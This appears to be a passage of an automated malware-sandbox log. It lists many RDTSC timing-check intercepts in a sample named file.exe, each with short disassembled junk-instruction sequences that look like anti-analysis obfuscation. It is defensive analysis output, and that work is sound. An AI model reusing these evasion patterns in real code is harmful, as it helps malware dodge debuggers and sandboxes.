Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DBA7B3 second address: DBA7BD instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F76D47AEA76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DBF23D second address: DBF25D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F76D4BF1AFDh 0x00000009 popad 0x0000000a pushad 0x0000000b jmp 00007F76D4BF1AFBh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DBF25D second address: DBF263 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DBE8BB second address: DBE8C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 pop ecx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DBE8C4 second address: DBE8EF instructions: 0x00000000 rdtsc 0x00000002 jg 00007F76D47AEA7Ch 0x00000008 jp 00007F76D47AEA76h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push esi 0x00000011 pushad 0x00000012 jmp 00007F76D47AEA87h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC4D62 second address: DC4D68 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC4D68 second address: DC4D6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC374E second address: DC376D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F76D4BF1B00h 0x00000012 push eax 0x00000013 pop eax 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC38B9 second address: DC38BF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC38BF second address: DC38D9 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 pop esi 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F76D4BF1AFEh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC3BAF second address: DC3BB3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC3E21 second address: DC3E25 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D76212 second address: D76220 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F76D47AEA76h 0x0000000a popad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC40EA second address: DC40EE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC40EE second address: DC40F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC4A79 second address: DC4A8B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jg 00007F76D4BF1AF6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC4A8B second address: DC4A8F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC4A8F second address: DC4A9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC7DC0 second address: DC7DC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC7566 second address: DC756A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCEE43 second address: DCEE47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCEE47 second address: DCEE4D instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCEE4D second address: DCEE6A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76D47AEA7Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jnp 00007F76D47AEA78h 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCEE6A second address: DCEE88 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76D4BF1B08h 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCEE88 second address: DCEE8C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCEE8C second address: DCEE92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCF193 second address: DCF197 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCF197 second address: DCF19B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCF442 second address: DCF446 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCF446 second address: DCF46E instructions: 0x00000000 rdtsc 0x00000002 jl 00007F76D4BF1AF6h 0x00000008 jnp 00007F76D4BF1AF6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push ecx 0x00000011 jmp 00007F76D4BF1B06h 0x00000016 pop ecx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD02A2 second address: DD02A6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD052D second address: DD0531 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD0531 second address: DD0543 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76D47AEA7Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD0543 second address: DD054F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007F76D4BF1AF6h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD054F second address: DD0553 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD08AA second address: DD08B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD8A56 second address: DD8A5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD8A5B second address: DD8A94 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76D4BF1B00h 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F76D4BF1B02h 0x0000000e jmp 00007F76D4BF1B03h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD8A94 second address: DD8A98 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD8D1B second address: DD8D20 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD8E85 second address: DD8EB8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76D47AEA81h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F76D47AEA7Fh 0x00000010 jmp 00007F76D47AEA7Dh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD8EB8 second address: DD8EBC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD9424 second address: DD942A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD942A second address: DD9430 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE21DF second address: DE21E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE21E3 second address: DE21EF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE21EF second address: DE21F5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE21F5 second address: DE21FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE21FB second address: DE2226 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76D47AEA85h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b js 00007F76D47AEA8Ah 0x00000011 push eax 0x00000012 push edx 0x00000013 jne 00007F76D47AEA76h 0x00000019 pushad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE2226 second address: DE222A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE03A3 second address: DE03AD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007F76D47AEA76h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE03AD second address: DE03B7 instructions: 0x00000000 rdtsc 0x00000002 je 00007F76D4BF1AF6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE07B0 second address: DE07E4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pop edx 0x00000005 jne 00007F76D47AEA76h 0x0000000b pop eax 0x0000000c pushad 0x0000000d jnc 00007F76D47AEA76h 0x00000013 jmp 00007F76D47AEA7Dh 0x00000018 jmp 00007F76D47AEA82h 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE0D51 second address: DE0D67 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76D4BF1AFAh 0x00000007 push esi 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE0D67 second address: DE0D6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE0D6B second address: DE0D73 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE0FF4 second address: DE0FFE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F76D47AEA76h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE188A second address: DE188E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE188E second address: DE189A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007F76D47AEA76h 0x0000000a push edx 0x0000000b pop edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DDFF78 second address: DDFF7E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DDFF7E second address: DDFF95 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 jmp 00007F76D47AEA81h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DDFF95 second address: DDFFA5 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F76D4BF1AF6h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DDFFA5 second address: DDFFAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F76D47AEA76h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DDFFAF second address: DDFFB3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE9B4B second address: DE9B50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2727B second address: D27293 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76D4BF1AFBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007F76D4BF1B0Bh 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF9FD5 second address: DF9FE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F76D47AEA76h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF9FE0 second address: DF9FF7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76D4BF1B02h 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF9FF7 second address: DF9FFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFA172 second address: DFA178 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFE38F second address: DFE393 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFE393 second address: DFE39F instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jnc 00007F76D4BF1AF6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFE39F second address: DFE3AF instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jnc 00007F76D47AEA76h 0x00000009 push eax 0x0000000a pop eax 0x0000000b pop esi 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFE3AF second address: DFE3B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E06851 second address: E06867 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76D47AEA7Dh 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0FC6E second address: E0FC8F instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F76D4BF1B07h 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0FC8F second address: E0FC99 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F76D47AEA76h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0FC99 second address: E0FCB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 ja 00007F76D4BF1AFEh 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E12B61 second address: E12B67 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E12B67 second address: E12B83 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007F76D4BF1B07h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E12B83 second address: E12B8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E12B8F second address: E12B99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E12B99 second address: E12BA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E17CB9 second address: E17CDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 jnc 00007F76D4BF1AF6h 0x0000000c popad 0x0000000d je 00007F76D4BF1B04h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E17CDA second address: E17CE0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E180E7 second address: E180ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1824D second address: E18253 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E18253 second address: E18257 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1A8BC second address: E1A8C7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pushad 0x00000006 popad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1A8C7 second address: E1A8D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1D589 second address: E1D597 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pop edi 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1D597 second address: E1D59D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1D59D second address: E1D5A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1D2B6 second address: E1D2BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1D2BC second address: E1D2C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1D2C0 second address: E1D2F0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F76D4BF1AFBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jnc 00007F76D4BF1AFCh 0x0000000f pop ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 push esi 0x00000013 jmp 00007F76D4BF1AFCh 0x00000018 pop esi 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1D2F0 second address: E1D2F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1D2F6 second address: E1D2FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1D2FA second address: E1D300 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3A70E second address: E3A717 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3A717 second address: E3A71D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3A71D second address: E3A721 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3A721 second address: E3A725 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3C105 second address: E3C10B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3C10B second address: E3C12C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F76D47AEA87h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3C12C second address: E3C130 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3EE4D second address: E3EE53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3EE53 second address: E3EE59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3EE59 second address: E3EE5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
